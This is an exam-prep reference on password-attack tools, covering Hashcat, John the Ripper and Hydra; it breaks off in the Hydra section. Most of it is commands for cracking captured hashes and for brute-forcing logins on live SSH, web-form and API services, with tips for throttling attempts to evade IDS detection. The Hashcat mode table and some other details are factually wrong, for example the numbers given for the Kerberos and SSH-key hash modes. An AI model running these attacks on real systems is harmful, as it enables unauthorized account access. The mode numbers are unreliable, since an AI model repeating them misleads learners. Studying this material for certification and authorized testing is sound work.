Tools Mastery
This section provides an exhaustive, exam-oriented reference for the five core password-attack tools: Hashcat, John the Ripper, Hydra, Medusa, and Ncrack. Each tool is covered with architecture, installation, full option reference, attack modes, practical examples, optimization strategies, and troubleshooting.
1. Hashcat
1.1 Overview and Architecture
Hashcat is the world’s fastest and most advanced password recovery tool. It is an offline cracker that leverages GPU acceleration to test billions of password guesses per second against captured hash values.
Key architectural pillars:
| Pillar | Detail |
|---|---|
| GPU Backend | CUDA (NVIDIA), OpenCL (AMD/Intel/other), HIP (AMD ROCm) |
| Hash Support | 350+ hash types (from legacy MD5 to Argon2id) |
| Platform | Linux, Windows, macOS, FreeBSD |
| License | MIT (free for personal and commercial use) |
| Repository | https://github.com/hashcat/hashcat |
GPU Architecture Deep Dive
Hashcat compiles kernels (GPU programs) at runtime for each hash mode. The kernel runs on the GPU and performs the core hashing operation in parallel across thousands of threads.
- CUDA — NVIDIA’s proprietary parallel computing platform. Best performance on NVIDIA GPUs (GTX 10-series through RTX 40-series). Requires NVIDIA driver + CUDA toolkit.
- OpenCL — Khronos Group’s cross-vendor standard. Works on AMD, Intel, and some NVIDIA GPUs. Slightly slower than CUDA on NVIDIA hardware but provides portability.
- HIP — AMD’s ROCm-based API. Native AMD GPU support with performance comparable to CUDA on NVIDIA.
Device detection and selection:
# List all detected devices with capabilities
hashcat --devices
# Output example:
# * Device #1: GeForce RTX 3080, 10240/21834 MB, 68MC/108MP
# * Device #2: AMD Radeon RX 6800, 16384/16384 MB, 64MC/64MP
# Force a specific backend
hashcat --opencl-info # OpenCL devices
hashcat --cuda-info # CUDA devices
# Target specific device(s) by ID
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --devices 1
Multi-GPU operation: Hashcat automatically distributes workload across all detected GPUs. Each GPU gets its own chunk of the keyspace. Progress is reported per-device and globally.
1.2 Installation
# Linux (from source)
git clone https://github.com/hashcat/hashcat.git
cd hashcat
make
# Linux (package manager — Kali, Parrot, etc.)
sudo apt install hashcat
# Windows
# Download the latest zip from https://github.com/hashcat/hashcat/releases
# Extract to a directory (e.g., C:\hashcat\)
# Run hashcat.exe from Command Prompt or PowerShell
# macOS (Homebrew)
brew install hashcat
# Verify installation
hashcat --version
hashcat --devices
Troubleshooting installation:
| Error | Cause | Fix |
|---|---|---|
CUDA error: no kernel image is available |
GPU architecture not supported | Use --force or update GPU drivers |
OpenCL error: -1 |
No OpenCL driver | Install AMD/Intel GPU drivers |
hashcat: command not found |
Not in PATH | Add hashcat directory to PATH or use full path |
Segmentation fault |
Incompatible GPU/driver | Update drivers, try --force |
1.3 Attack Modes (0–9)
Hashcat supports seven attack modes, numbered 0, 1, 3, 6, 7, 9, and an implicit session-based mode. Each mode defines how candidate passwords are generated.
| Mode | Name | Syntax | Description |
|---|---|---|---|
0 |
Straight | hashcat -a 0 hashes.txt wordlist.txt |
Classic dictionary attack. Each line of the wordlist is tested as-is. |
1 |
Combination | hashcat -a 1 hashes.txt list1.txt list2.txt |
Combines every word from list1 with every word from list2. |
3 |
Brute-force | hashcat -a 3 hashes.txt ?l?l?l?l?d?d?d?d |
Mask-based brute force. You define the character pattern. |
6 |
Hybrid: Dictionary + Mask | hashcat -a 6 hashes.txt wordlist.txt ?d?d?d?d |
Appends the mask to each dictionary word (suffix). |
7 |
Hybrid: Mask + Dictionary | hashcat -a 7 hashes.txt ?d?d?d?d wordlist.txt |
Prepends the mask to each dictionary word (prefix). |
9 |
Associate | hashcat -a 9 hashes.txt wordlist.txt |
Associates dictionary words with the target hash (e.g., username-based). |
Mode 0 — Straight (Dictionary)
The most common mode. Reads each line from the wordlist and hashes it.
# Basic dictionary attack on NTLM hashes
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
# With rules applied to the dictionary
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt -r rules/best64.rule
# Multiple rule files (each is applied independently)
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt \
-r rules/best64.rule \
-r rules/one337.rule \
-r rules/d3ad0ne.rule
Mode 1 — Combination
Takes two wordlists and generates every possible concatenation.
# Combine company names with common passwords
hashcat -m 1000 -a 1 hashes.txt company_names.txt common_passwords.txt
# Useful for generating "CompanyName2024!" style passwords
hashcat -m 1000 -a 1 hashes.txt brands.txt years.txt
Note: Mode 1 can generate enormous candidate sets. A 10,000-word list combined with another 10,000-word list produces 100 million candidates.
Mode 3 — Brute-force (Mask)
The mask defines the exact character pattern to try. This is the most efficient brute-force approach when you know (or can guess) the password structure.
# 8-character lowercase + 4 digits
hashcat -m 1000 -a 3 hashes.txt ?l?l?l?l?l?l?l?l?d?d?d?d
# 6-character all alphanumeric
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a
# Password starts with uppercase, followed by lowercase and ends with 2 digits
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?d?d
Mode 6 — Hybrid: Dictionary + Mask
Appends a mask pattern to each dictionary word. Ideal for passwords like password1234.
# Try each word + 4 digits (e.g., "password0000" through "password9999")
hashcat -m 1000 -a 6 ntlm_hashes.txt rockyou.txt ?d?d?d?d
# Each word + year pattern
hashcat -m 1000 -a 6 ntlm_hashes.txt rockyou.txt ?d?d?d?d
# Each word + special char
hashcat -m 1000 -a 6 ntlm_hashes.txt rockyou.txt ?s
Mode 7 — Hybrid: Mask + Dictionary
Prepends a mask pattern to each dictionary word. Ideal for passwords like 1234password.
# 4 digits + each word
hashcat -m 1000 -a 7 ntlm_hashes.txt ?d?d?d?d rockyou.txt
Mode 9 — Associate
Associates dictionary entries with the target hash. For example, if the hash contains a username, this mode tries the username combined with dictionary words.
# Associates the username in the hash with each dictionary word
hashcat -m 1000 -a 9 ntlm_hashes.txt rockyou.txt
1.4 Complete Option Reference
Hash Mode (-m)
The -m flag specifies the hash algorithm. This is the most critical option.
hashcat -m <mode> [options] hash_file [attack_input]
Most exam-relevant hash modes:
| Mode | Hash Type | Format Example |
|---|---|---|
0 |
MD5 | 5f4dcc3b5aa765d61d8327deb882cf99 |
10 |
MD5($pass.$salt) | hash:salt |
100 |
SHA1 | 7c6a180b36896a653b186998e2568b00 |
1000 |
NTLM (LM:NT) | Administrator:500:lmhash:ntlmhash::: |
1000 |
NTLM (NT only) | ntlmhash |
1100 |
PBKDF2-HMAC-SHA1 | Django, OpenSSL |
1400 |
SHA-256 | Raw SHA-256 hash |
1700 |
SHA-512 | Raw SHA-512 hash |
1800 |
Windows Credential Protector | — |
2100 |
bcrypt | $2b$12$LJ3m4ys3LgBsTsqA2wN5F. |
3200 |
bcrypt (extended) | $2a$, $2b$, $2y$ |
5600 |
NTLMv2 | username::NTLMv2:... |
6400 |
Kerberos 5 AS-REP | $krb5asrep$23$username@DOMAIN |
7500 |
Kerberos 5 TGS-REP | $krb5tgs$... |
10000 |
SHA-512 crypt | $6$rounds=656000$salt$hash |
15100 |
Argon2id | $argon2id$v=19$m=65536,t=3,p=4$... |
22000 |
WPA/WPA2 (PMK) | $WPA$... |
22001 |
WPA/WPA2 EAP-LEAP | — |
16800 |
SSH private key (RSA) | -----BEGIN RSA PRIVATE KEY----- |
# See all available hash modes
hashcat -h | grep -A 2000 "Hash-modes"
Attack Mode (-a)
hashcat -a <mode> [options] hash_file [attack_input]
| Flag | Mode |
|---|---|
-a 0 |
Straight (dictionary) |
-a 1 |
Combination |
-a 3 |
Brute-force (mask) |
-a 6 |
Hybrid: Dictionary + Mask |
-a 7 |
Hybrid: Mask + Dictionary |
-a 9 |
Associate |
Output and Session Options
| Option | Description | Example |
|---|---|---|
-o <file> |
Write cracked hashes to file | -o cracked.txt |
--pot-file <path> |
Custom pot file location | --pot-file /tmp/pot.potfile |
--session <name> |
Name the session (for restore) | --session my_attack |
--restore |
Restore from .potfile session | --restore |
--show |
Show already-cracked hashes | --show |
--remove |
Remove cracked hashes from input | --remove |
--outfile-format |
Custom output format | --outfile-format 3 |
Performance and Hardware Options
| Option | Description | Values |
|---|---|---|
-w <profile> |
Work profile (memory/temperature tradeoff) | 0=quiet, 1=normal, 2=aggressive, 3=ultra |
--force |
Ignore compatibility warnings | — |
--devices <id> |
Target specific GPU(s) | 1, 1,2, 1-4 |
--opencl-device-types |
Device type filter | 1=GPU, 2=CPU, 4=ACC |
--hw-temp-threshold |
Throttle at this temperature (Celsius) | 75, 80, 85 |
-n <threads> |
Threads per kernel | — |
-g <workspace> |
Workspace size | — |
-s <skip> |
Skip first N candidates | 1000000 |
-l <limit> |
Limit to N candidates | 5000000 |
Rule Options
| Option | Description | Example |
|---|---|---|
-r <file> |
Rule file path | -r rules/best64.rule |
--rule |
Inline rule (single) | --rule "c+2024" |
Status and Monitoring
| Option | Description |
|---|---|
--status |
Show current status (one-shot) |
--status-timer <sec> |
Auto-refresh status every N seconds |
--quiet |
Suppress all output except cracked hashes |
# Monitor a running hashcat session from another terminal
hashcat --status --status-timer 10 --session my_attack
# Quiet mode (only output cracked passwords)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --quiet
1.5 Mask Characters and CustomCharsets
Built-in Mask Characters
| Mask | Charset | Characters | Count |
|---|---|---|---|
?l |
Lowercase | a-z |
26 |
?u |
Uppercase | A-Z |
26 |
?d |
Digits | 0-9 |
10 |
?s |
Special | `!@#$%^&*()_+-=[]{} | ;:’,.<>?/`~` |
?a |
Alphanumeric | a-zA-Z0-9 |
62 |
?b |
All bytes | 0x00-0xFF |
256 |
Custom Charset Definition
Hashcat supports four user-defined charsets (?1 through ?4), defined via -1 through -4 flags or --custom-charset1 through --custom-charset4.
# Define custom charset inline
hashcat -m 1000 -a 3 hashes.txt "?1?1?1?1?1?1" -1 abcdef123456
# Define via long flag
hashcat -m 1000 -a 3 hashes.txt "?1?1?1?1" --custom-charset1 "ABCDEF123456"
# Multiple custom charsets
hashcat -m 1000 -a 3 hashes.txt "?1?2?1?2" -1 abcdef -2 123456
# Use custom charset in hybrid mode
hashcat -m 1000 -a 6 hashes.txt rockyou.txt "?1?1?1" -1 ABCDEFGHIJKLMNOPQRSTUVWXYZ
Keyspace calculation:
# Calculate the size of a mask without cracking
hashcat -m 1000 -a 3 ?l?l?l?l?d?d?d?d --keyspace
# Output: 436652672 (26^8 * 10^4)
1.6 Session Management
Pot File
The pot file (potfile) stores every successfully cracked hash:password pair. This prevents redundant cracking of known hashes across sessions.
# Default pot file location
# Linux/macOS: ~/.hashcat/potfile
# Windows: %APPDATA%\hashcat\potfile
# View cracked results
cat ~/.hashcat/potfile
# Format: original_hash:plaintext_password
# Example:
# 5f4dcc3b5aa765d61d8327deb882cf99:password
# Administrator:500:d6048f4a3b568f1159ca4961f743a13e::::::Welcome1
# Clear the pot file (start fresh)
> ~/.hashcat/potfile
# Use a custom pot file
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --pot-file /tmp/my_pot.potfile
Restore Functionality
When a hashcat session is interrupted (Ctrl+C, crash, power loss), it saves a .restore file. You can resume exactly where you left off.
# Interrupt a session (Ctrl+C) — hashcat saves state automatically
# Resume the last interrupted session
hashcat --restore
# Resume with explicit parameters (must match original)
hashcat -m 1000 -a 0 --restore hashes.txt rockyou.txt
# Check restore file
ls ~/.hashcat/*.restore
Important: The restore file is session-specific. If you change the hash mode, wordlist, or rules, you cannot restore — you must start a new session.
Session Naming
# Name a session for organized management
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --session ntlm_dict_attack
# Check status of a named session
hashcat --status --session ntlm_dict_attack
1.7 Optimization Strategies
Work Profiles
The -w flag controls GPU memory usage and thread intensity:
| Profile | Flag | Memory | Temperature | Use Case |
|---|---|---|---|---|
| Quiet | -w 0 |
Low | Low | Background cracking, shared GPU |
| Normal | -w 1 |
Medium | Medium | Default, balanced |
| Aggressive | -w 2 |
High | High | Dedicated cracking, good cooling |
| Ultra | -w 3 |
Maximum | Maximum | Maximum speed, risk of throttling |
# Ultra profile with temperature safety
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -w 3 --hw-temp-threshold 80
# Quiet profile (background)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -w 0
Temperature Thresholds
# Throttle performance when GPU reaches 80°C
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --hw-temp-threshold 80
# Abort entirely at 90°C
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --hw-temp-abort 90
Multi-GPU Optimization
# Use only GPU #1 and #2
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --devices 1,2
# Use GPU #1 only
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --devices 1
# Distribute different hash modes across GPUs (advanced)
# GPU 1: NTLM cracking, GPU 2: bcrypt cracking
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt --devices 1 &
hashcat -m 3200 -a 0 bcrypt.txt rockyou.txt --devices 2 &
Skip and Limit
Useful for splitting work across multiple machines or time-boxing attacks.
# Skip first 1 million candidates, process next 5 million
hashcat -m 1000 -a 3 hashes.txt ?l?l?l?l?d?d?d?d -s 1000000 -l 5000000
# Machine 1: candidates 1-10M
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a?a?a -s 0 -l 10000000
# Machine 2: candidates 10M-20M
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a?a?a -s 10000000 -l 10000000
1.8 Benchmarking
# Benchmark a specific hash mode
hashcat -m 1000 -b
# Benchmark all hash modes (takes time)
hashcat -b
# Benchmark with specific work profile
hashcat -m 1000 -b -w 3
# Benchmark on specific GPU
hashcat -m 1000 -b --devices 1
Sample benchmark output:
Hashmode: 1000 - NTLM
Speed.#1.........: 8542.3 MH/s (12.45ms) @ Accel:128 LoopBack:12512 Vec:1
1.9 Troubleshooting
| Problem | Diagnosis | Solution |
|---|---|---|
| Hashcat runs at 0 MH/s | GPU not detected | Check hashcat --devices, update drivers |
CUDA error: out of memory |
Work profile too high | Lower -w from 3 to 1 or 0 |
No hash file found |
Wrong path | Verify hash file exists and is readable |
| Session won’t restore | Parameters mismatch | Ensure -m, -a, wordlist match original |
| Cracked password not in potfile | Pot file path issue | Check --pot-file location, verify permissions |
| Slow performance on OpenCL | CUDA available but not used | Install CUDA drivers, hashcat prefers CUDA automatically |
Unsupported hash mode |
Old hashcat version | Update to latest version from GitHub |
1.10 OSCP Exam Tips — Hashcat
Tip 1: On the OSCP exam, you will almost always encounter NTLM hashes (
-m 1000). Memorize this mode number.Tip 2: Always start with a dictionary attack (
-a 0) usingrockyou.txtbefore trying brute force. Dictionary attacks crack 60-80% of exam passwords.Tip 3: Use
--showto quickly check if a hash was already cracked in a previous session without re-running the attack.Tip 4: The pot file is your friend. If you crack a hash during one lab, it will be saved. Use
--showin later labs to instantly retrieve known passwords.Tip 5: For mask attacks, use
--keyspacefirst to estimate how long the attack will take. If the keyspace is too large (>10 billion), consider a different approach.Tip 6: When you see a
$krb5asrep$or$krb5tgs$hash, use mode6400or7500respectively. These are Kerberos hashes from AS-REP Roasting or Kerberoasting.Tip 7: If
hashcatis not installed on the exam machine, it is typically available at/usr/bin/hashcaton Kali. Verify withwhich hashcat.
2. John the Ripper
2.1 Overview and Editions
John the Ripper (JtR) is a free, open-source password security auditing tool. Unlike Hashcat, it is CPU-based and does not use GPU acceleration. It excels at automatic hash format detection and has excellent rule-based attack capabilities.
Edition Comparison
| Feature | Classic | Community | Jumbo |
|---|---|---|---|
| Maintainer | OpenWall | OpenWall | OpenWall |
| Hash Formats | ~30 | ~100 | 200+ |
| GPU Support | No | No | No |
| Auto-Detection | Basic | Good | Excellent |
| Active Development | No | Yes | Yes |
| Repository | openwall/john (main) |
Same | Same |
| Recommended | No | Yes | Yes |
Note: As of 2024, “Community” and “Jumbo” are effectively the same codebase. The official repository at https://github.com/openwall/john provides the Jumbo build. When people say “JtR Jumbo,” they mean the current official release.
2.2 Installation
# From source (recommended — gives you the latest Jumbo build)
git clone https://github.com/openwall/john.git
cd john/src
./configure
make -s clean linux-x86-64
# Verify
../run/john --version
# Kali Linux (pre-installed)
john --version
# The binary is typically at:
# /usr/bin/john (system package)
# ~/john/run/john (compiled from source)
2.3 Command Structure and Options
john [options] hash_file
Core Options
| Option | Description | Example |
|---|---|---|
--wordlist=<file> |
Specify wordlist | --wordlist=rockyou.txt |
--format=<fmt> |
Force hash format | --format=nt |
--rules |
Enable wordlist rules | --rules |
--incremental[=mode] |
Brute-force mode | --incremental:alpha |
--mask=<mask> |
Mask attack | --mask=?l?l?l?l?d?d?d?d |
--show |
Display cracked passwords | --show |
--pot=<file> |
Custom pot file | --pot=/tmp/john.pot |
--session=<name> |
Name the session | --session my_crack |
--status |
Show session status | --status |
--restore |
Restore interrupted session | --restore |
--test |
Benchmark / self-test | --test --format=nt |
--stdout |
Output candidates to stdout | --wordlist=words.txt --stdout |
--encoding=<enc> |
Input encoding | --encoding=UTF-8 |
--fork=<n> |
Fork N parallel processes | --fork=4 |
--multiple |
Try all applicable formats | --multiple |
2.4 Attack Modes
Auto-Detection vs. Explicit Format
John can automatically detect the hash format from the hash file. This is its biggest advantage over Hashcat.
# Auto-detect and crack (uses default wordlist)
john hashes.txt
# Force a specific format (faster, avoids mis-detection)
john --format=nt hashes.txt
# Try all applicable formats
john --multiple hashes.txt
When auto-detection fails:
- Ambiguous hash formats (e.g., raw MD5 could be mode 0, 100, or many others).
- Custom or non-standard formats.
- Always use
--format=when you know the hash type for best performance.
Wordlist Mode
# Basic wordlist attack
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# With explicit format
john --wordlist=rockyou.txt --format=nt hashes.txt
# With rules enabled (transforms each word)
john --wordlist=rockyou.txt --rules hashes.txt
Rule-Based Mode
John applies transformation rules to each dictionary word, generating variants automatically.
# Single mode — apply rules once per word
john --wordlist=rockyou.txt --rules:Single hashes.txt
# Triple mode — apply rule combinations (more candidates, slower)
john --wordlist=rockyou.txt --rules:Triple hashes.txt
# Default rules (when --rules is used without mode)
john --wordlist=rockyou.txt --rules hashes.txt
John rule syntax (defined in john.conf):
| Rule | Description | Example |
|---|---|---|
c |
Capitalize first letter | password → Password |
l |
Lowercase all | PASSWORD → password |
u |
Uppercase all | password → PASSWORD |
r |
Reverse | password → drowssap |
d |
Duplicate | password → passwordpassword |
p |
Permute (swap adjacent) | password → apssword |
sXY |
Substitute char X with Y | s a @ → p@ssword |
i |
Increment first char | password → qassword |
I |
Decrement first char | qassword → password |
+$ |
Append string | +123 → password123 |
^$ |
Prepend string | ^! → !password |
Incremental (Brute-Force) Mode
John’s incremental mode is a systematic brute-force that tries every combination in a defined character set.
# All printable ASCII characters
john --incremental:alpha hashes.txt
# Alphanumeric only
john --incremental:alnum hashes.txt
# Digits only
john --incremental:numeric hashes.txt
# Full byte range (0x00-0xFF)
john --incremental:all hashes.txt
Configuration: Incremental character sets are defined in john.conf under [Incremental:alpha], [Incremental:alnum], etc. You can customize the character sets and length limits.
# In john.conf:
[Incremental:alpha]
File = $JOHN/alpha.chr
MinLen = 1
MaxLen = 8
Mask Mode
# Mask attack on NTLM hashes
john --format=nt --mask=?l?l?l?l?d?d?d?d hashes.txt
# Mask with custom charset
john --format=nt --mask=?1?1?1?1 hashes.txt
# (Custom charsets defined in john.conf)
2.5 Pot File
John stores cracked passwords in a pot file, similar to Hashcat.
# Default locations:
# Linux: ~/.john/john.pot
# Windows: %APPDATA%\john\john.pot
# Show cracked passwords (reads from pot file)
john --show hashes.txt
# Use custom pot file
john --pot=/tmp/custom.pot hashes.txt
# Clear pot file
> ~/.john/john.pot
2.6 john.conf
The john.conf file is John’s central configuration. It controls:
- Rule definitions (
[List.Rules:Wordlist],[List.Rules:Single],[List.Rules:Triple]) - Incremental character sets (
[Incremental:alpha], etc.) - Format definitions (
[Format:*]) - External filters and mappers
# Default config locations:
# /etc/john/john.conf (system-wide)
# ~/.john/john.conf (user-specific, overrides system)
# $JOHN/john.conf (relative to binary)
# Test configuration
john --test
2.7 When to Prefer John over Hashcat
| Scenario | Prefer John | Prefer Hashcat |
|---|---|---|
| GPU available | Yes | |
| Unknown hash format | Yes (auto-detect) | |
| SSH private key passphrase | Yes | Yes (mode 16800) |
| WPA2 handshake | Yes (much faster) | |
| bcrypt cracking | Yes (GPU) | |
| Quick single-hash test | Yes | |
| Rule-based attacks | Yes (simpler rules) | Yes (more powerful) |
| No GPU / CPU-only system | Yes | |
| Kerberos hashes | Both | Both |
| Speed is critical | Yes |
Rule of thumb: Use Hashcat when you have a GPU and need speed. Use John when you need auto-detection, are on a CPU-only system, or want simpler rule configuration.
2.8 OSCP Exam Tips — John the Ripper
Tip 1: John is pre-installed on Kali. The binary is at
/usr/bin/john. The wordlistrockyou.txtis at/usr/share/wordlists/rockyou.txt(may needgunzipfirst).Tip 2: Always use
john --show hashes.txtafter cracking to see the plaintext passwords. The cracking output scrolls too fast to catch them.Tip 3: For NTLM hashes from Windows machines, use
john --format=nt hashes.txtfor fastest cracking.Tip 4: If John says “Password not found,” try
--rulesto apply transformations to the wordlist.Tip 5: The
--incrementalmode is a last resort. It is extremely slow. Only use it when dictionary and rule-based attacks fail, and the password is short.Tip 6: When cracking SSH private key passphrases, use
john --format=sshprivatekey id_rsa. John handles the PEM format natively.
3. Hydra
3.1 Overview and Architecture
Hydra (THC Hydra) is a parallelized online login cracker. It sends authentication requests to live services and interprets the responses to determine success or failure.
Architecture:
┌─────────────────────────────────────────────────┐
│ Hydra Engine │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Worker 1 │ │ Worker N │ │ Worker T │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │ │
│ ┌────▼────────────────▼────────────────▼─────┐ │
│ │ Credential Generator │ │
│ │ (user:pass combinations from wordlists) │ │
│ └─────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────┐ │
│ │ Protocol Modules │ │
│ │ SSH | FTP | HTTP | SMB | RDP | MySQL | ... │ │
│ └─────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
Target:22 Target:80 Target:445
Key architectural features:
- Multi-threaded workers — each worker handles one connection.
- Protocol modules — each service has a dedicated module that speaks the protocol.
- Response parsing — each module knows what “success” and “failure” look like.
- Cycle vs. password-first mode — configurable iteration order.
3.2 Installation
# Kali Linux (pre-installed)
hydra -h
# Ubuntu/Debian
sudo apt install hydra
# From source
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
sudo make install
3.3 Command Structure
hydra [options] <target> <service> [service-options]
Two syntax styles:
# URL-style (preferred, more readable)
hydra -l admin -P rockyou.txt ssh://192.168.1.10
# Traditional style
hydra -l admin -P rockyou.txt 192.168.1.10 ssh
3.4 Complete Option Reference
Credential Options
| Option | Description | Example |
|---|---|---|
-l <user> |
Single username | -l admin |
-L <file> |
Username wordlist | -L users.txt |
-p <pass> |
Single password | -p password123 |
-P <file> |
Password wordlist | -P rockyou.txt |
-C <file> |
Credential pairs (user:pass) | -C creds.txt |
-e <nf> |
Extra attempts | -e ns (null + empty) |
-M <file> |
Multiple targets | -M targets.txt |
Extra attempts (-e):
| Flag | Action |
|---|---|
n |
Try null/blank password |
s |
Try the username as its own password |
r |
Try the reversed username as password |
# Try username "admin" with null password and "admin" as password
hydra -l admin -p "" -e ns ssh://192.168.1.10
Connection and Performance Options
| Option | Description | Default |
|---|---|---|
-t <tasks> |
Parallel tasks (threads) | 16 |
-w <sec> |
Max wait time per attempt | 0 (no limit) |
-W <sec> |
Max wait time between attempts | 0 (no limit) |
-s <port> |
Non-default port | Service default |
-f |
Stop at first valid credential | Continue |
-u |
Cycle mode (all passwords per user) | Password-first |
-o <file> |
Output file | stdout |
-v / -V |
Verbose / show each attempt | Quiet |
-vV |
Show all attempts + responses | — |
-4 / -6 |
Force IPv4 / IPv6 | Auto |
-c <path> |
Custom URI path | — |
-m <data> |
Service-specific data | — |
-x <MIN:MAX:CHARSET> |
Password generation | — |
-S |
Use SSL | No |
-U |
Module usage info | — |
Rate Limiting
# Wait up to 5 seconds per attempt (avoid detection)
hydra -l admin -P rockyou.txt -w 5 ssh://192.168.1.10
# Wait 2 seconds between attempts
hydra -l admin -P rockyou.txt -W 2 ssh://192.168.1.10
# Reduce parallel tasks to avoid triggering IDS
hydra -l admin -P rockyou.txt -t 4 ssh://192.168.1.10
Password Generation (-x)
# Generate passwords: min 4, max 8 chars, lowercase + digits
hydra -l admin -x 4:8:lg ssh://192.168.1.10
# Charset options:
# l = lowercase (a-z)
# u = uppercase (A-Z)
# d = digits (0-9)
# s = special characters
# a = all printable
# c = custom charset
3.5 Supported Protocols (Complete)
| Protocol | Module Name | Default Port | URL Scheme |
|---|---|---|---|
| AFP | afp |
548 | afp:// |
| Cisco AAA | cisco-aaa |
— | — |
| Cisco Enable | cisco-enable |
— | — |
| CVS | cvs |
2401 | cvs:// |
| FTP | ftp |
21 | ftp:// |
| FTPS | ftps |
990 | ftps:// |
| HTTP-GET | http-get |
80/443 | http-get:// |
| HTTP-HEAD | http-head |
80/443 | http-head:// |
| HTTP-POST | http-post |
80/443 | http-post:// |
| HTTP-PROXY | http-proxy |
8080 | — |
| HTTPS | https |
443 | https:// |
| HTTP-POST-FORM | http-post-form |
80/443 | — |
| HTTP-GET-FORM | http-get-form |
80/443 | — |
| ICQ | icq |
444 | — |
| IMAP | imap |
143 | imap:// |
| IMAPS | imaps |
993 | imaps:// |
| IRC | irc |
6667 | irc:// |
| LDAP | ldap |
389 | ldap:// |
| LDAPS | ldaps |
636 | ldaps:// |
| MEMCACHED | memcached |
11211 | — |
| MongoDB | mongodb |
27017 | mongodb:// |
| MS-SQL | mssql |
1433 | mssql:// |
| MySQL | mysql |
3306 | mysql:// |
| NCP | ncp |
521 | — |
| NNTP | nntp |
119 | — |
| Oracle Listener | oracle-listener |
1521 | — |
| Oracle SID | oracle-sid |
1521 | — |
| PC-ANYWHERE | pcanywhere |
5631 | — |
| POP3 | pop3 |
110 | pop3:// |
| POP3S | pop3s |
995 | pop3s:// |
| PostgreSQL | postgres |
5432 | postgres:// |
| RDP | rdp |
3389 | rdp:// |
| RExec | rexec |
512 | rexec:// |
| RLogin | rlogin |
513 | rlogin:// |
| RSH | rsh |
514 | rsh:// |
| RTSP | rtsp |
554 | — |
| SAP/R3 | sap-r3 |
3300 | — |
| SIP | sip |
5060 | — |
| SMB | smb |
445 | smb:// |
| SMTP | smtp |
25 | smtp:// |
| SMTPS | smtps |
465 | smtps:// |
| SNMP | snmp |
161 | snmp:// |
| SOCKS5 | socks5 |
1080 | — |
| SSH | ssh |
22 | ssh:// |
| SVN | svn |
3690 | svn:// |
| Teamspeak | teamspeak |
51214 | — |
| Telnet | telnet |
23 | telnet:// |
| VMAUTHD | vmauthd |
511 | — |
| VNC | vnc |
5900 | vnc:// |
| XMPP | xmpp |
5222 | — |
3.6 HTTP Form Login (Detailed)
HTTP form login is the most complex and most commonly tested Hydra scenario on the OSCP exam.
GET Request
# Basic HTTP GET with form parameters in URL
hydra -l admin -P rockyou.txt 192.168.1.10 http-get "/admin/?user=^USER^&pass=^PASS^:Invalid password"
# With custom port
hydra -l admin -P rockyou.txt -s 8080 192.168.1.10 http-get "/login:user=^USER^&pass=^PASS^:wrong"
Syntax breakdown:
http-get "<path>:<post_data>:<failure_string>"
^path ^placeholders ^what failure looks like
^USER^— replaced with the username^PASS^— replaced with the password- The failure string is what Hydra looks for in the response to indicate a failed login
POST Request
# Standard POST form
hydra -l admin -P rockyou.txt 192.168.1.10 \
http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed"
# POST with custom headers
hydra -l admin -P rockyou.txt -m "Cookie: PHPSESSID=abc123\r\nX-CSRF-Token: xyz" \
192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# POST with SSL (HTTPS)
hydra -S -l admin -P rockyou.txt 192.168.1.10 \
http-post-form "/auth:email=^USER^&password=^PASS^:Incorrect"
JSON API Login
# JSON POST body
hydra -l admin -P rockyou.txt 192.168.1.10 \
http-post-json "/api/auth/login:{\"username\":\"^USER^\",\"password\":\"^PASS^\"}:error"
# With Content-Type header
hydra -l admin -P rockyou.txt -m "Content-Type: application/json" \
192.168.1.10 http-post-json "/api/login:{\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:invalid"
Finding the Failure String
The hardest part of HTTP form attacks is identifying the correct failure indicator. Use these techniques:
- Manual testing: Log in with a wrong password and observe the response.
- Burp Suite: Intercept the failed login and look for unique strings.
- HTTP status code: Use
F=401orS=200to match on status codes.
# Match on HTTP 401 response (failure)
hydra -l admin -P rockyou.txt 192.168.1.10 \
http-post-form "/login:user=^USER^&pass=^PASS^:F=401"
# Match on HTTP 200 response (success)
hydra -l admin -P rockyou.txt 192.168.1.10 \
http-post-form "/login:user=^USER^&pass=^PASS^:S=200"
# Match on specific string in response body
hydra -l admin -P rockyou.txt 192.168.1.10 \
http-post-form "/login:user=^USER^&pass=^PASS^:Welcome"
3.7 Cycle Mode
By default, Hydra tries password-first mode: it takes the first password and tries it against all usernames, then moves to the second password.
Cycle mode (-u) tries user-first: it takes the first username and tries all passwords against it, then moves to the next username.
# Default (password-first): admin:pass1, root:pass1, user:pass1, admin:pass2, ...
hydra -L users.txt -P passwords.txt ssh://192.168.1.10
# Cycle mode (user-first): admin:pass1, admin:pass2, admin:pass3, ..., root:pass1, ...
hydra -L users.txt -P passwords.txt -u ssh://192.168.1.10
When to use cycle mode:
- Account lockout is per-user (not global). Cycle mode lets you exhaust one user’s passwords before moving on.
- You want to find all valid passwords for a specific user.
3.8 Multiple Targets
# targets.txt contains one IP per line
# 192.168.1.10
# 192.168.1.11
# 192.168.1.12
hydra -M targets.txt -l admin -P rockyou.txt ssh
# With custom port
